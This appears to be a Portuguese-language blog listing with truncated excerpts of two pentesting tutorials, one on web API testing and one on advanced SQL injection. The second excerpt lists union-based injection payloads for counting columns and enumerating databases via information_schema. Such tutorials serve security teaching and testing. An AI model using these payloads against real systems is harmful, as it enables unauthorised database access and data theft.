Teste de Penetração em APIs Web: Guia Prático

Visão geral das APIs Web As interfaces de programação (APIs) permitem que sistemas distintos troquem dados, independentemente de linguagem ou plataforma. São amplamente utilizadas em aplicativos móveis, dispositivos IoT, aplicações web e integrações entre serviços. Estilos de implementação SOAP/XML O SOAP (Simple Object Access Protocol) transpo ...

Publicado em 7-1 22:47

Guia Completo de Injeção SQL: Técnicas Avançadas para Testes de Penetração

Injeção SQL por União # Determinação do número de campos 1' ORDER BY 1# 1' ORDER BY 100# # Consulta por união (assumindo 3 campos) -1' UNION SELECT 1,2,3# # Enumeração de todos os bancos de dados (assumindo segundo campo como resposta) -1' UNION SELECT 1,SCHEMA_NAME(),3 FROM information_schema.SCHEMATA# # Verificação da versão do banco -1' ...

Publicado em 6-24 17:18